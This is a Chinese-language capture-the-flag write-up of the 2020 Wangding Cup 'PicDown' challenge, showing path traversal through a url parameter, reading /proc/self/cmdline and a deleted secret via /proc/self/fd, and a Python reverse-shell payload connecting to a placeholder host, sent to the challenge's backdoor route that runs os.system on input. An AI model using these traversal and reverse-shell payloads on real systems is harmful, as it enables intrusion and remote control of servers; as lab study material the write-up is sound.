[网鼎杯 2020 白虎组]PicDown

[网鼎杯 2020 白虎组]PicDown

文件包含

进入题目之后只有一个框,输入参数提交后显示URL为:

/page?url=1

可以看到有一个名为url的参数,尝试SSRF无果,遂改为尝试文件包含:

image-20220531115641824

使用目录穿越成功包含进文件,那尝试构造:?url=../../../../../../../flag 来读取flag,竟然直接出了。

我是在BUU复现的,这题的环境有问题,正常情况下是无法直接出的。

proc目录利用

既然存在文件包含,可以尝试利用 /proc 目录下的敏感文件进行利用。

首先读取/proc/self/cmdline来获取启动当前题目进程的完整命令:

?url=../../../../../../../proc/self/cmdline
image-20220531120022725

可以看到当前程序是由python2 app.py命令启动的,尝试读取源码:

image-20220531120256807

得到页面的源码:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

代码很短,只有3个路由,值得关注的是最后一个 /no_one_know_the_manager 路由,该方法会判断传进来的key参数和静态变量SECRET_KEY是否相等,相等的话就使用os.system()方法执行传进来的shell参数。

所以这里我们的目标就是想办法获取这个SECRET_KEY静态变量,再看看SECRET_KEY是怎样获取的:

SECRET_FILE = "/tmp/secret.txt" 
f = open(SECRET_FILE)       # 用open()打开/tmp/secret.txt文件,文件描述符为f
SECRET_KEY = f.read().strip()      # 读取secret.txt文件,并将内容赋给SECRET_KEY
os.remove(SECRET_FILE)

这里是用open()方法从 /tmp/secret.txt 里面读取的内容作为SECRET_KEY的,读取完文件之后就把 /tmp/secret.txt 给删掉了,因此我们无法直接包含 /tmp/secret.txt 来获取SECRET_KEY。

但在 linux 系统中如果一个程序用open()打开了一个文件但最终没有关闭他,即便从外部(如os.remove(SECRET_FILE))删除这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/[pid]/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/[pid]/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。我们通过对id的爆破,得到/tmp/secret.txt文件描述符的序号:

/page?url=/proc/self/fd/3
image-20220531150747693

如上图所示,在id等于3的时候读取成功了,得到secret.txt的内容为:JLAwm2xCtqkgNGJTHgPPocxTSLbWX4q7FVxQDxFCi/w= 。这时我们就可以通过python来反弹shell了,python反弹shell的payload如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

完整payload:

/no_one_know_the_manager?key=JLAwm2xCtqkgNGJTHgPPocxTSLbWX4q7FVxQDxFCi/w=&shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

记得URL编码一下。

参考资料

Proc 目录在 CTF 中的利用

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇